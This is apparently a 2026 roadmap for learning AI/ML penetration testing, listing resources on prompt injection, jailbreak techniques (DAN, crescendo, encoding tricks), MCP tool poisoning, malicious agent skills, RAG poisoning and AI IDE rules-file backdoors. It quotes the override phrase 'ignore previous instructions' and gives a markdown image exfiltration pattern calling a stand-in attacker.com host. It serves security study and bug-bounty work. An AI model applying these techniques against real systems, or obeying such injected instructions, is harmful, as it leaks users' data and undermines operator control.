🛡️ AI/ML Pentesting Roadmap (2026 Edition)

A comprehensive, structured guide to learning AI/ML security and penetration testing — from zero to practitioner. Updated with the latest tools, research, attack surfaces (including MCP/agentic AI, RAG, AI coding assistants, agent skills, and computer-use agents), and community resources.

Legend used throughout this roadmap: Foundational — still the best way to learn the concept · Historical — kept for context, superseded in practice · Archived — project no longer maintained but still readable · Legacy — older version retained alongside its successor · Unverified — community-submitted, not independently validated by maintainers

---

📋 Table of Contents

1. Prerequisites
2. Phase 1 — Foundations
3. Phase 2 — AI/ML Security Concepts
4. Phase 3 — Prompt Injection & LLM Attacks
5. Phase 4 — Agentic AI, MCP & Agent Ecosystem Security
6. Phase 5 — RAG, Vector & Embedding Security
7. Phase 6 — Hands-On Practice
8. Phase 7 — Advanced Exploitation Techniques
9. Phase 8 — Real-World Research & Bug Bounty
10. Standards, Frameworks & References
11. Tools & Repositories
12. Benchmarks & Datasets
13. Books, PDFs & E-Books
14. Video Resources & Podcasts
15. CTF & Competitions
16. Bug Bounty Programs
17. Community & News
18. Key Academic Papers
19. Suggested Learning Path by Experience Level
20. What's New in This Edition

---

Prerequisites

Before diving into AI/ML pentesting, ensure you have the following foundation:

General Security Basics

• PortSwigger Web Security Academy — Free, hands-on web security training (XSS, SQLi, SSRF, etc.)
• TryHackMe — Pre-Security Path
• HackTheBox Academy
• OWASP Top 10
• OWASP API Security Top 10 — Most LLM app bugs are still API bugs underneath

Why web security first: a large share of paid AI bug bounty findings are classic AuthZ, IDOR, SSRF, and cache-deception bugs reached through an AI feature. The model is often just a new entry vector to the same old bug classes.

Programming (Python is essential)

• Python for Everybody — Coursera
• Automate the Boring Stuff with Python — Free online book
• CS50P — Python — Free Harvard course

APIs & HTTP

• Understand REST APIs, HTTP methods, headers, and authentication flows
• Postman Learning Center
• Practice with tools: curl, Burp Suite, Postman
• Understand OAuth 2.0 / OAuth 2.1 and JWT — required for MCP authorization work

Autonomous / AI-Assisted Pentest Platforms

• Darkmoon — Open source (GPL-3.0) autonomous AI penetration testing platform covering web, API, Active Directory and Kubernetes, with proof of exploitation and a local privacy gateway. Unverified

---

Phase 1 — Foundations

1.1 Machine Learning Fundamentals

1.2 Large Language Models (LLMs)

Understanding how LLMs work is critical before attacking them.

1.3 Model Internals That Matter for Attackers

You do not need to train models, but you do need to know where the seams are.

• Tokenization — byte-pair encoding explains why invisible characters, homoglyphs and control characters slip past filters
• Context window & attention — why "ignore previous instructions" works at all: there is no privilege boundary between system, user, and retrieved text inside the token stream
• Embeddings — why vector stores leak (see Phase 5)
• Inference & sampling — temperature, top-p, and why attack reproducibility is probabilistic
• Fine-tuning, RLHF/RLAIF & alignment — where safety training lives, and why it is shallow relative to capability
• Anthropic — Constitutional AI — how RLAIF-style alignment is actually built
• Hugging Face — RLHF illustrated

---

Phase 2 — AI/ML Security Concepts

2.1 Core Security Concepts

• OWASP GenAI LLM Top 10 — 2026 edition — Current release, published 4 August 2026. The 2026 ranking: LLM01 Prompt Injection, LLM02 Sensitive Information Disclosure, LLM03 Excessive Agency (up three places), LLM04 Supply Chain, LLM05 Data & Model Poisoning, LLM06 Unbounded Consumption, LLM07 Misinformation, LLM08 Hidden Context Exposure (replaces the narrower System Prompt Leakage category), LLM09 Vector & Embedding Weaknesses, LLM10 Improper Output Handling
• OWASP GenAI LLM Top 10 — canonical GitHub source — Errata form, Zenodo archive, and the machine-readable citation file
• OWASP LLM Top 10 (2025) — Legacy but still widely referenced; most tooling and CTFs published in 2025–early 2026 map to this version, so keep it for cross-referencing
• OWASP Top 10 for LLM Applications v1.1 (2023) — Historical archive of the original list
• OWASP Top 10 for Agentic Applications 2026 (ASI01–ASI10) — Announced December 2025. Covers planning, tool use, identity, supply chain, code execution, memory, inter-agent communication, cascading failures, human–agent trust, and rogue agents
• OWASP GenAI Security Project — Agent Control Standard & 2026 announcements — September 2026: ACS donation, expanded AI security solutions guidance
• OWASP MCP Top 10 — MCP01 Token Mismanagement, MCP02 Privilege Escalation via Scope Creep, MCP03 Tool Poisoning, MCP04 Supply Chain & Dependency Tampering, MCP05 Command Injection, MCP06 Intent Flow Subversion, MCP07 Insufficient AuthN/AuthZ, MCP08 Lack of Audit & Telemetry, MCP09 Shadow MCP Servers, MCP10 Context Injection & Over-Sharing
• OWASP GenAI Red Teaming Guide & Red Team Initiative — Practical red teaming methodology; browse the project Resources index for the current PDF
• OWASP GenAI Red Team Lab (GitHub) — Companion repo to the Red Teaming Handbook: local LLM and RAG sandboxes plus garak/promptfoo exploitation examples
• MITRE ATLAS Matrix — The AI adversarial threat matrix. v5.1.0 (November 2025) expanded to 16 tactics and 84 techniques; 2026 releases added agentic AI techniques. Prompt injection is AML.T0051
• MITRE ATLAS Case Studies — Real incidents mapped to the matrix; the best source of grounded threat models
• NIST AI 100-2e2025 — Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations — The canonical taxonomy (PredAI vs GenAI, evasion/poisoning/privacy/abuse). Published March 2025, supersedes AI 100-2e2023
• NIST AI Risk Management Framework — Federal AI risk guidance
• IBM — AI Security Overview
• AI Village — LLM Threat Modeling
• HackerOne — Ultimate Guide to Managing Ethical and Security Risks in AI
• Adversa AI 2025 Security Report — 35% of real-world AI incidents caused by simple prompts

2.2 Attack Surface Overview

Key attack vectors in AI/ML systems:

• Prompt Injection — Manipulating LLM behavior through crafted inputs
• Indirect Prompt Injection (IPI) — Attacks via documents, web content, emails, RAG pipelines
• Jailbreaking — Bypassing safety filters and guardrails
• Multi-Turn Attacks — Attacks unfolding across extended conversations (92% success rate reported in 2025 research)
• Tool Poisoning — Injecting malicious instructions into MCP tool metadata/descriptions
• Model Inversion — Extracting training data from a model
• Membership Inference — Determining if data was in training set
• Data Poisoning — Corrupting training data to influence behavior
• Adversarial Examples — Perturbed inputs that fool classifiers
• Model Extraction/Stealing — Cloning a model via API queries
• Supply Chain Attacks — Malicious models/weights on platforms like Hugging Face
• MCP Server Exploitation — Tool poisoning, resource theft, conversation hijacking via MCP
• AI IDE Attacks — Exploiting Cursor, GitHub Copilot, Claude Code via rules files and MCP config
• RAG Poisoning — Injecting malicious content into retrieval-augmented generation pipelines
• Training Data Exfiltration — Extracting memorized private data
• Denial of Service — Overloading models via crafted prompts
• Agent-to-Agent Attacks — Compromising multi-agent pipelines (A2A protocol abuse)
• Agent Skill / Plugin Poisoning — Malicious instructions in SKILL.md, plugin manifests and marketplace packages
• Memory Poisoning & Persistence — Writing attacker instructions into long-term agent memory so they survive the session
• Hidden Context Exposure — Leaking retrieved documents, memory, tool responses and application state, not just the literal system prompt (OWASP LLM08:2026)
• Embedding Inversion & Cross-Tenant Retrieval — Reconstructing source text from vectors; retrieving another tenant's chunks
• Visual / Multimodal Prompt Injection — Instructions hidden in images, screenshots, OCR text, audio, PDFs
• Confused Deputy & Excessive Agency — Agent uses its own high privileges on behalf of a low-privileged attacker
• Shadow MCP / Shadow Agents — Unapproved, unmanaged agent infrastructure inside the enterprise

2.3 MLOps & Infrastructure Security

• From MLOps to MLOops — JFrog
• Offensive ML Playbook
• AI Exploits — ProtectAI
• Awesome AI Security — ottosulin
• Shelltorch — TorchServe vulnerabilities (CVSS 9.9) — Still the reference case study for exposed inference servers
• Cisco — Detecting Exposed LLM Servers: A Shodan Case Study on Ollama — Unauthenticated local-inference servers exposed to the internet
• Inference-server attack surface worth enumerating: vLLM, Ollama, llama.cpp / llama-server, TensorRT-LLM, Triton Inference Server, TorchServe, Ray, and Kubernetes GPU workloads. Default configurations frequently ship with no authentication

---

Phase 3 — Prompt Injection & LLM Attacks

3.1 Understanding Prompt Injection

• OWASP LLM01:2025 Prompt Injection — Canonical definition updated for agentic systems; the baseline every 2025–26 tool cites. Still LLM01 in the 2026 edition
• IBM Guide on Prompt Injection
• Simon Willison's Explanation of Prompt Injection — Foundational
• Simon Willison — prompt injection tag (running archive) — The single best continuously updated index of injection incidents
• Prompt Injection in 2026: Why the Attack Surface Keeps Growing — Explains why the problem is structural, not fixable by filters, and covers the Morris II AI worm. Unverified
• Learn Prompting — Prompt Hacking and Injection
• PortSwigger LLM Attacks
• NCC Group — Exploring Prompt Injection Attacks — Foundational
• Bugcrowd — AI Vulnerability Deep Dive: Prompt Injection
• Prompt Injection Cheat Sheet — Seclify — Practical cheat sheet for AI bot integrations
• Don't You (Forget NLP) — Dropbox Tech — Injection via control characters
• hego.red — Practical AI/LLM Red Teaming Notes — Hands-on guide: prompt injection, jailbreaks, indirect injection, RAG poisoning, agent and tool attacks, with a full methodology and worked labs. Unverified

3.2 Jailbreaking Techniques

• DAN (Do Anything Now) — Classic jailbreak technique: Chatgpt-DAN Repo · Historical
• Role-playing / Persona manipulation
• Token smuggling — Encoding instructions to bypass filters
• Prompt leaking — Extracting system prompts
• Indirect prompt injection — Attacks via documents, web content, memory
• Multi-turn jailbreaks — Steering models over successive conversation turns (>90% bypass rate against most published defenses)
• Crescendo / gradual escalation — Benign opening turns that incrementally relocate the conversation past the refusal boundary
• Low-resource language and encoding transfer — Safety training generalizes unevenly across languages, base64, ROT13 and leetspeak
• WideOpenAI — Jailbreak Collection
• PayloadsAllTheThings — Prompt Injection
• PALLMs — Payloads for Attacking LLMs
• L1B3RT4S — jailbreak prompt collection — Large, actively updated public jailbreak corpus, useful as a regression-test set

3.3 Indirect Prompt Injection

A sophisticated attack where malicious instructions are injected via external data sources (emails, documents, websites, RAG chunks) that an LLM agent processes.

• Greshake — LLM Security / Not What You've Signed Up For — Foundational, the original IPI proof-of-concept collection
• Embrace The Red — Blog — Leading blog covering real-world indirect injection
• GitHub Copilot Chat: Prompt Injection to Data Exfiltration
• Google AI Studio Data Exfiltration
• Indirect Prompt Injection Through MCP Tools: A Defense Guide — Feb 2026, covers every MCP tool category
• CrowdStrike — Indirect Prompt Injection Attacks: Hidden AI Risks — Dec 2025, enterprise IPI TTPs and SOC detection signals
• Lakera — Indirect Prompt Injection: The Hidden Threat — Zero-click RCE in MCP-based AI IDEs case study

3.4 Advanced Prompt Attack Techniques

• How to Persuade an LLM to Change Its System Prompt
• Design Patterns for Securing LLM Agents Against Prompt Injection — Jun 2025
• OpenAI — Hardening Atlas Against Prompt Injection Attacks — Dec 2025 real attack chain disclosure + RL-trained automated attacker; states plainly that prompt injection is unlikely ever to be fully solved
• Improving LLM Security Against Prompt Injection: AppSec Guidance — Role-based APIs and 13 system prompt guidelines
• Bugcrowd Ultimate Guide to AI Security (PDF)
• Snyk OWASP Top 10 LLM (PDF) — Legacy (2025 list)
• Vanna.AI Prompt Injection RCE — JFrog

3.5 Defenses Worth Understanding (and Breaking)

You cannot assess a defense you do not understand. Every item below has published bypasses — study both halves.

• CaMeL — Defeating Prompt Injections by Design (arXiv 2503.18813) — Google DeepMind; control/data-flow separation rather than detection. The most architecturally serious defense published so far
• Microsoft FIDES — Information-Flow Control Against IPI in Copilot — Jul 2025 privilege separation system
• Meta — Agents Rule of Two (Practical AI Agent Security) — Bound the blast radius architecturally (see 4.5)
• PromptArmor (arXiv 2507.15219) — Simple detection baseline reporting sub-1% FP/FN on AgentDojo
• A Critical Evaluation of Defenses against Prompt Injection Attacks (arXiv 2505.18333) — Why most reported defense numbers do not survive adaptive attackers
• The Attacker Moves Second (arXiv 2510.09023) — Adaptive attacks bypass 12 published defenses at >90%
• tldrsec/prompt-injection-defenses — Actively maintained catalog of every practical defense in production

---

Phase 4 — Agentic AI, MCP & Agent Ecosystem Security

This is the fastest-growing and most dangerous attack surface as of 2025–2026. When LLMs are given tools, memory, and autonomous action capabilities, the blast radius of any injection expands dramatically.

4.1 Why Agentic AI Changes Everything

Agentic AI systems operate in observe-orient-decide-act loops. They can browse the web, read/write files, execute code, call APIs, and communicate with other agents. A single successful injection can lead to:

• Remote Code Execution (RCE)
• Data exfiltration from private repositories
• Unauthorized financial transactions
• Lateral movement across multi-agent pipelines

Key reading:

• OWASP Top 10 for Agentic Applications 2026 (ASI01–ASI10) — Start here. Announced Dec 2025, peer-reviewed by 100+ contributors
• OWASP — Why the Agentic Top 10 exists — Project leads on the LLM-vs-agentic distinction
• Anthropic — Disrupting the first reported AI-orchestrated cyber espionage campaign — GTG-1002: state-linked actors weaponized an agentic coding tool with malicious MCP servers; reported 80–90% of tactical operations executed autonomously. The most significant real-world agentic-abuse disclosure to date
• AI Agent Attacks in Q4 2025 Signal New Risks for 2026 — eSecurity Planet
• Enterprises Are Racing to Secure Agentic AI Deployments — Help Net Security — Multi-turn attacks achieved 92% success against 8 open-weight models
• Adversa AI 2025 AI Security Incidents Report

4.2 Model Context Protocol (MCP) Security

MCP (introduced by Anthropic in late 2024) is the de facto standard for connecting LLMs to external tools — and is the dominant new attack surface.

MCP-specific attack classes:

• Tool Poisoning — Embedding malicious instructions in tool description fields that agents trust implicitly
• Tool Shadowing — Registering a malicious tool with a name/description that intercepts calls meant for a legitimate tool
• Rug Pull — A server that serves a benign tool definition at install time and mutates it later
• Resource Theft — Abusing MCP sampling to drain compute quotas
• Conversation Hijacking — Compromised MCP servers inject persistent instructions
• Covert Tool Invocation — Hidden file system operations without user awareness
• Cross-MCP Contamination — One MCP server overrides another's behavior
• Token Passthrough / Confused Deputy — Servers accepting tokens not issued for them; missing audience binding
• Shadow MCP — Unapproved servers running inside the org with no inventory or audit trail
• STDIO credential harvesting — Local servers inheriting the full environment, including every secret in it

Standards and primary guidance:

• OWASP MCP Top 10 — The reference taxonomy (MCP01–MCP10). Supersedes the placeholder "OWASP MCP CheatSheet" link carried in earlier editions of this roadmap
• Model Context Protocol — official specification — Read the security best practices and authorization sections of the current spec revision; authorization is optional, which is the root of much of MCP01/MCP07
• Microsoft — OWASP MCP Top 10 Security Guidance for Azure — Maps each MCP risk to concrete platform controls; useful even if you are not on Azure
• CSA — Agentic MCP Security Best Practices — 2026 consolidation of the tool-poisoning, rug-pull and cross-server literature

Attack research:

• Invariant Labs — mcp-injection-experiments — Reproducible PoCs for direct poisoning, tool shadowing, and the WhatsApp sleeper rug pull. The canonical hands-on starting point
• Palo Alto Unit 42 — New Prompt Injection Attack Vectors Through MCP Sampling — Dec 2025, three critical attack vectors
• Checkmarx — 11 Emerging AI Security Risks with MCP — Nov 2025
• MCP Prompt Injection: How AI Gets Hacked (YouTube) — Nov 2025 hands-on walkthrough
• ToxicSkills: Snyk Finds Malware in 36% of AI Agent Skills — Feb 2026; 3,984 skills audited, 36.82% flawed, 13.4% critical, confirmed malicious payloads

Notable MCP CVEs and incidents to study:

• CVE-2025-6514 — mcp-remote proxy RCE (CVSS 9.6), 437,000+ affected installs
• CVE-2025-53109 / CVE-2025-53110 — "EscapeRoute" filesystem MCP sandbox bypass
• Anthropic Git MCP server — argument-injection class issues allowing backdoors via processed repositories
• Supabase/Cursor support-ticket chain (June 2025) — SQL executed and exfiltrated via a poisoned support ticket
• Asana MCP cross-tenant exposure (2025) — Multi-tenant isolation failure in a production MCP integration

4.3 AI IDE & Coding Assistant Security

AI coding assistants (Claude Code, GitHub Copilot, Cursor, Windsurf, Cline, Roo Code, Codex-class tools) have system-level access and are a high-value target. Assume every file in a cloned repository is attacker-controlled input.

• Rules File Backdoor — .cursor/rules, CLAUDE.md, AGENTS.md, .github/copilot-instructions.md and similar context files can be poisoned with malicious instructions
• Settings/hook execution — Repository-controlled configuration that runs commands at project-open time, before any user interaction
• MCP config injection — Malicious mcp.json entries added to a repo
• CVE-2025-53773 — GitHub Copilot RCE (CVSS 9.6) via prompt injection
• CVE-2025-54135 — Cursor indirect prompt injection via MCP config → RCE
• CVE-2025-59536 — Claude Code hook-triggered RCE (CVSS 8.7), patched Oct 2025
• CVE-2026-21852 — Claude Code API key exfiltration (CVSS 5.3), patched Jan 2026
• IDEsaster — 30+ CVEs in AI IDEs: The Hacker News coverage

Resources:

• Rules File Backdoor — Cursor/Copilot
• GitGuardian — Can GitHub Copilot Leak Secrets?
• Your AI, My Shell (arXiv 2509.22040) — AIShellJack; systematic analysis of prompt injection in agentic coding editors, ~84% ASR for shell injection on Copilot/Cursor
• Prompt Injection Attacks on Agentic Coding Assistants (SoK, arXiv 2601.17548) — Meta-analysis of 78 studies; >85% attack success against state-of-the-art defenses. Unverified ID — confirm before citing in formal work

4.4 Agent Skills, Plugins & Extension Supply Chain

The SKILL.md file is the new package.json, and it currently ships with no signing, no sandbox by default, and a publishing bar of roughly "a Markdown file and a week-old GitHub account." This is the fastest-moving supply-chain story of 2026.

• Snyk — ToxicSkills — Feb 2026, first large-scale audit (3,984 skills)
• HiddenLayer — The Next AI Supply Chain Risk: Malicious Skills in Agentic AI — Jun 2026; why the pattern transfers from consumer agents to Claude Code, Cursor and Copilot
• Cato CTRL — Weaponizing Claude Skills with MedusaLocker — Ransomware delivery via a legitimate-looking skill; consent-gap analysis
• CSA — SKILL.md and Agent Context Poisoning — Executive briefing tying the CVEs and audits together
• Agent Skills in the Wild (arXiv 2601.10338) — Large-scale empirical security study of the skill ecosystem
• Malicious Agent Skills in the Wild (arXiv 2602.06547) — "Do Not Mention This to the User": detection and taxonomy of in-the-wild malicious skills
• Cisco AI Defense — skill-scanner — Static analyzer for agent skills
• CVE-2026-25253 — RCE in an agent skill runtime; reported as the first CVE assigned to an agentic AI system
• ClawHavoc campaign (2026) — Coordinated publication of malicious skills to a public marketplace, delivering a credential stealer

4.5 Meta's "Agents Rule of Two" Framework

Meta's Oct 2025 architectural approach: agents must satisfy no more than two of:

• (A) Processing untrustworthy inputs
• (B) Access to sensitive data
• (C) Ability to change state externally

This provides a deterministic way to bound blast radius. Read: Meta — Practical AI Agent Security

Use it as a triage heuristic on engagements: find the agent that satisfies all three, and you have found where to spend your time.

4.6 Computer-Use & Browser Agent Security

Agentic browsers and GUI agents inherit the user's authenticated sessions and cookies, which turns any injected instruction into a cross-origin data-access primitive.

• UW study — Some agentic AI browsers come with major cybersecurity risks — Jun 2026; PoC cross-site data theft, with the finding that agents granted fewer permissions were measurably safer
• OpenAI — Hardening Atlas Against Prompt Injection — Vendor-side account of a real attack chain plus lockdown-mode tradeoffs
• Brave — research on agentic browser vulnerabilities — Originated the Comet screenshot/OCR injection disclosure and subsequent hidden-HTML work on other agentic browsers
• CSA — PleaseFix: Zero-Click Browser Agent Hijacking — Mar 2026; consolidates ZombieAgent, GeminiJack, Tainted Memories, HashJack and CometJacking into one attack class
• VPI-Bench: Visual Prompt Injection for Computer-Use Agents (arXiv 2506.02456)
• WASP: Benchmarking Web Agent Security Against Prompt Injection (arXiv 2504.18575) — Meta
• WAInjectBench (arXiv 2510.01354) — Benchmarking prompt-injection detection for web agents
• CaMeLs Can Use Computers Too (arXiv 2601.09923) — System-level security for computer-use agents
• atlas-prompt-injection-poc — Minimal reproducible PoC page for testing agentic browsers safely

4.7 Multimodal Attack Surface

• Image-embedded instructions (low-contrast text, steganographic and typographic prompts)
• OCR-channel injection — the agent reads what the user cannot see
• FigStep: Jailbreaking Large Vision-Language Models via Typographic Visual Prompts
• Con Instruction: Universal Jailbreaking of Multimodal LLMs via Non-Textual Modalities (ACL 2025)
• Document-channel injection — PDFs, DOCX, spreadsheets and calendar invites parsed into context. The January 2026 Gemini calendar-invite exploit is the cleanest public example of a semantically benign payload
• Audio and video channels — transcription pipelines are an unfiltered instruction path

4.8 Multi-Agent, A2A & Memory Attacks

• PoisonedRAG (USENIX Security 2025) — Knowledge corruption attack injecting poisoned texts into RAG databases
• A2A Protocol Abuse — Google's Agent2Agent protocol creates new inter-agent attack surfaces
• Log-To-Leak — Covert privacy attacks via side channels in agent logs
• MINJA / memory poisoning — Writing adversarial entries into an agent's long-term memory store so the injection outlives the session
• ScienceDirect — From Prompt Injections to Protocol Exploits — 30+ attack techniques catalogued across agent ecosystems
• Microsoft — AI Recommendation Poisoning — Feb 2026; commercial-scale manipulation of agent recommendations observed in the wild

4.9 Agent Identity & Authorization

Increasingly the actual root cause behind "prompt injection" incidents: the agent had more authority than the person driving it.

• Per-agent identity with short-lived credentials rather than shared service accounts
• Audience-bound tokens; never pass a user token through to a downstream MCP server unchanged
• Human-in-the-loop gates on state-changing and irreversible actions
• Sandboxed execution and explicit blast-radius isolation
• Continuous behavioral monitoring with kill switches
• OWASP Agent Control Standard — Donated to the GenAI Security Project in Sept 2026; runtime enforcement model for agent behavior
• Test for confused-deputy conditions first: can a low-privileged input cause the agent to exercise its own high privileges?

---

Phase 5 — RAG, Vector & Embedding Security

RAG is where enterprise data meets untrusted content, and it maps to LLM09: Vector and Embedding Weaknesses in the OWASP 2026 list. The knowledge base is part of the attack surface, not a trusted internal resource.

5.1 Attack Classes

• Corpus / knowledge-base poisoning — Published research shows a handful of documents among millions can reach 90%+ attack success on targeted queries; a single poisoned document is often enough to steer a specific answer
• Indirect prompt injection via retrieved chunks — The most common real-world RAG bug
• Embedding inversion — Reconstructing substantial portions of source text from stored vectors. Embeddings are not anonymization
• Cross-tenant retrieval — Inadequate logical partitioning in a shared vector store returning another tenant's chunks
• Authorization drift — The retriever runs with a service identity that ignores the calling user's document-level ACLs; the classic "the chatbot answered from a file I can't open" finding
• Retrieval-side exfiltration — Using the retriever as an oracle to enumerate the corpus
• Federation knowledge conflict — Conflicting sources causing unpredictable trust resolution
• Similarity-search DoS — Weaponizing unbounded ANN query cost

5.2 Reading

• OWASP LLM09 — Vector and Embedding Weaknesses — The normative description
• RAG Security: The Forgotten Attack Surface — Christian Schneider — Feb 2026; the best single practitioner write-up, with concrete detection guidance
• PoisonedRAG (USENIX Security 2025) — The reference corpus-poisoning paper
• Towards Secure Retrieval-Augmented Generation: Threats, Defenses and Benchmarks (arXiv 2603.21654) — 2026 survey covering inversion, poisoning and defenses. Unverified ID
• Can You Trust the Vectors in Your Vector Database? (arXiv 2604.05480) — Black-hole attacks from embedding-space defects. Unverified ID

5.3 Testing a RAG Pipeline

A practical checklist for engagements:

1. Can you get content into the corpus? (upload, crawl, ticket, email, shared drive, wiki)
2. Does retrieved content get treated as instructions rather than data?
3. Is document-level authorization enforced at retrieval time or only at the UI?
4. In multi-tenant deployments, can crafted near-duplicate queries surface another tenant's chunks?
5. Are ingested documents scanned for injection payloads and invisible Unicode before embedding?
6. Are retrieval traces logged with attribution, so a poisoned chunk can be traced and quarantined?
7. Can the vector store be reached directly, without going through the application?

---

Phase 6 — Hands-On Practice

6.1 Interactive Platforms & Games

6.2 Vulnerable-by-Design Projects

6.3 Tutorials

• Google AI Red Teaming Walkthrough (PDF)
• Spikee: Testing LLM Apps for Prompt Injection — WithSecure Labs — Step-by-step with Burp Suite integration
• How AI Prompt Injection Works | Hands-on with LLMs (YouTube) — Jan 2026 code-level demo with LLM Guard detection
• Prompt Injection in LLM Agents: ReAct, Langchain (YouTube) — Theory and hands-on lab
• Synthetic Recollections — WithSecure Labs — ReAct loop hijacking via forged thoughts
• garak documentation — Getting from garak --model_type openai to a usable report

6.4 CTF Writeups to Study

• CTF Writeup — HackPack CTF 2024 LLM Edition
• LLM Pentest Writeups — System Weakness

---

Phase 7 — Advanced Exploitation Techniques

7.1 Agent & Tool Integration Attacks

• LLM Pentest: Leveraging Agent Integration for RCE — BlazeInfoSec
• Dumping a Database with an AI Chatbot — Synack
• CSWSH Meets LLM Chatbots
• Prompt Injection Attacks on Agentic Coding Assistants (SoK, arXiv 2026) — Meta-analysis of 78 studies; >85% attack success against state-of-the-art defenses

7.2 Data Exfiltration via LLMs

• Google AI Studio: LLM-Powered Data Exfiltration
• Google AI Studio Mass Data Exfil (Regression)
• Hacking Google Bard — From Prompt Injection to Data Exfiltration
• AWS Amazon Q Markdown Rendering Vulnerability
• GitHub Copilot Chat Data Exfiltration
• ChatGPT Plugins: Data Exfiltration via Images & Cross Plugin Request Forgery

7.3 Account Takeover & Authentication Attacks

• ChatGPT Account Takeover — Wildcard Web Cache Deception
• Shockwave — Critical ChatGPT Vulnerability (Web Cache Deception)
• Security Flaws in ChatGPT Ecosystem — Salt Security
• OpenAI Allowed Unlimited Credit on New Accounts — Checkmarx

7.4 XSS & Web Vulnerabilities in AI Products

• XSS Marks the Spot: Digging Up Vulnerabilities in ChatGPT — Imperva
• Zeroday on GitHub Copilot
• Prompt Injection 2.0: Hybrid AI Threats (arXiv 2507.13169) — Prompt injections combined with XSS, CSRF, AI worm propagation to evade WAFs

7.5 Model & Infrastructure Attacks

• Shelltorch Explained — Multiple Vulnerabilities in TorchServe (CVSS 9.9)
• From ChatBot to SpyBot: ChatGPT Post-Exploitation — Imperva
• Microsoft FIDES — Information-Flow Control Against IPI in Copilot — Jul 2025 privilege separation system

7.6 Persistent Attacks & Memory Exploitation

• ChatGPT Persistent Denial of Service via Memory Attacks — Embrace the Red
• Embrace the Red — memory persistence research — Ongoing work on writing durable instructions into assistant memory ("spAIware" class)

7.7 Adversarial Machine Learning

• CleverHans Library — Adversarial example library · Foundational
• ART (Adversarial Robustness Toolbox) — IBM
• Foolbox — Python toolbox for adversarial attacks
• TextAttack — Adversarial attacks and data augmentation for NLP
• Microsoft Counterfit — CLI for assessing ML model security · Archived but still useful as a harness pattern
• NIST AI 100-2e2025 — Use as the vocabulary for evasion, poisoning, privacy and abuse attacks

7.8 Supply Chain & Model File Attacks

• Malicious code embedded in model files (pickle, safetensors) can execute on load
• 250 poisoned documents in training data can implant backdoors that activate on trigger phrases
• ModelScan — ProtectAI — Scan ML model files for malicious payloads
• picklescan — Detects unsafe globals in pickled model files; used by Hugging Face scanning
• Hugging Face — model security documentation — Malware scanning, pickle scanning, secrets scanning, and how to read the warnings on a repo
• Fake npm/pip packages mimicking AI integrations (e.g., fake email MCP that silently copies outbound messages)
• Agent skill and plugin marketplaces (see 4.4) — now the highest-velocity part of this surface
• Provenance direction of travel: AIBOM, model signing and SLSA-style attestation for weights and datasets; expect these to become audit requirements before they become reliable controls

---

Phase 8 — Real-World Research & Bug Bounty

8.1 Notable Research & Disclosures

• Anthropic — Disrupting the first reported AI-orchestrated cyber espionage campaign — The GTG-1002 report
• We Hacked Google AI for $50,000 — LandH
• New Google Gemini Content Manipulation Vulnerabilities — HiddenLayer
• Jailbreak of Meta AI (Llama 3.1) Revealing Config Details
• My LLM Bug Bounty Journey on Hugging Face Hub
• Anonymised Penetration Test Report — Volkis
• Lakera Real World LLM Exploits (PDF)
• The Register — Anthropic, Google, Microsoft paid AI bug bounties quietly — Apr 2026; agent prompt injection to credential theft across three vendors, and the CVE-assignment gap it exposed
• AI Penetration Testing: A Complete Guide — HackingDream — Mar 2026 comprehensive playbook

8.2 How to Find LLM Vulnerabilities

Key areas to test when assessing an LLM-powered application:

1. System prompt extraction — Can you leak the hidden system prompt?
2. Hidden context exposure — Beyond the system prompt: retrieved docs, memory, tool responses, app state (OWASP LLM08:2026)
3. Instruction override — Can you ignore system-level instructions?
4. Plugin/tool abuse — Can agent tools be misused (SSRF, RCE, SQLi)?
5. MCP tool poisoning — Can you inject instructions into tool metadata?
6. Tool shadowing / rug pull — Can a second server intercept or mutate a trusted tool?
7. Data exfiltration via markdown — Does the UI render ![](https://attacker.com?q=...) ?
8. Persistent injection via memory/RAG — Can you inject instructions that persist?
9. PII leakage — Does the model reveal training data or other users' data?
10. Cross-user / cross-tenant data leakage — In multi-tenant apps, can you reach other users' contexts or vector chunks?
11. Authorization bypass — Can you trick the LLM into performing privileged actions?
12. Confused deputy — Does the agent's identity carry more authority than the requesting user's?
13. Multi-turn escalation — Can you steer the model across conversation turns?
14. AI IDE rules file backdoor — Can .cursor/rules, CLAUDE.md, AGENTS.md or hooks be poisoned?
15. Agent skill / plugin poisoning — Is third-party skill content reviewed, signed, or sandboxed?
16. Supply chain — Are third-party models/datasets scanned for malicious payloads?
17. Unbounded consumption — Can you drive cost or latency DoS through prompts, retrieval, or sampling?

---

Standards, Frameworks & References

---

Tools & Repositories

Offensive / Red Team Tools

MCP & Agent Security Tools ⭐ NEW

Defensive / Scanning Tools

Reference Lists

---

Benchmarks & Datasets

Reproducible measurement is what separates research from anecdote. Use these to justify findings and to test defenses rather than assert them.

Datasets worth knowing: the HackAPrompt competition corpus (large real-world human injection dataset), garak's bundled probe payloads, and PayloadsAllTheThings for quick manual coverage.

---

Books, PDFs & E-Books

---

Video Resources & Podcasts

Conferences worth tracking: DEF CON AI Village, Black Hat AI/ML track, USENIX Security, NDSS, IEEE S&P, ACM CCS, OWASP Global AppSec (the GenAI Security Project runs summits and workshops alongside it — the November 2026 edition is the next major one).

---

CTF & Competitions

---

Bug Bounty Programs

AI/ML security bug bounties are growing rapidly — but scopes differ sharply, and reading the scope is the single highest-value thing you can do before submitting. The most common wasted report in 2026 is a prompt-injection finding sent to a program that explicitly excludes them.

Verification note: program scopes and payout tables change frequently. Every entry above should be re-read on the official page before you invest research time. Nothing in this table should be treated as a guarantee that a class of finding will be rewarded.

Tips for AI bug bounty:

• Focus on data exfiltration via markdown rendering (still the most consistently paid finding)
• Test MCP tool poisoning — embed instructions in tool descriptions
• Test plugin/tool integrations thoroughly for SSRF, RCE
• Look for prompt injection in RAG pipelines
• Explore memory and persistent context manipulation
• Check for cross-tenant data leakage in multi-user deployments
• Test AI IDE rules files for backdoor injection vectors
• Look for multi-turn escalation bypasses in long conversations
• Demonstrate impact, not behavior. "The model said something bad" is not a finding. "An attacker-controlled document caused the agent to exfiltrate another user's data" is
• Transfer your web skills: AuthZ, IDOR, SSRF and cache deception reached through an AI feature are often the highest-severity, fastest-triaged bugs in these programs

---

Community & News

Communities

• AI Village — DEF CON's AI security community
• OWASP AI Exchange — Open standard for AI security
• OWASP Gen AI Security Project — Standards body maintaining the LLM Top 10, Agentic Top 10, ACS and FinBot; 30,000+ members. Working groups are open on OWASP Slack
• ProtectAI — AI security research and tools
• Embrace the Red — Blog — Leading blog on LLM security
• Kai Greshake's Research — Indirect prompt injection research
• r/llmsecurity — Most active LLM security subreddit

Researchers Worth Following

